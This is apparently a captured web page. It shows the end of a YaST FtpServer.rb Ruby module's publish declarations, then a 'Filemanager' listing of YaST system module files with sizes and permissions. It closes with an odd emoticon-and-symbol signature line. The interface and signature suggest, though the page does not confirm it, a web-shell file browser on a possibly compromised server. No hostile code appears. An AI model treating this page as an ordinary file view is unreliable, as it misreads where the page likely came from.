    publish :variable => :VS_SETTINGS, :type => "map <string, string>"

    # @attribute EDIT_SETTINGS
    # @return [Hash<String,String>]
    # Uses CamelCase with similar but not the same keys as {#PURE_SETTINGS}.
    # {FtpServerWriteLoadInclude#ValueUI ValueUI} maps it to {#PURE_SETTINGS}
    # and {#VS_SETTINGS}.
    publish :variable => :EDIT_SETTINGS, :type => "map <string, string>"

    publish :function => :PureSettingsForXinetd, :type => "string ()"
    publish :function => :WriteStartViaXinetd, :type => "boolean (boolean, boolean)"
    publish :function => :ValueUI, :type => "string (string, boolean)"
    publish :function => :ValueUIEdit, :type => "string (string)"
    publish_variable :ftps, "boolean"
    publish_variable :write_only, "boolean"
    publish :function => :GetModified, :type => "boolean ()"
    publish :function => :Abort, :type => "boolean ()"
    publish :function => :PollAbort, :type => "boolean ()"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :InitDaemon, :type => "boolean ()"
    publish :function => :Export, :type => "map ()"
    publish :function => :OptionsSummary, :type => "string ()"
    publish :function => :Summary, :type => "string ()"
    publish :function => :AutoPackages, :type => "map ()"
  end

  FtpServer = FtpServerClass.new
  FtpServer.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1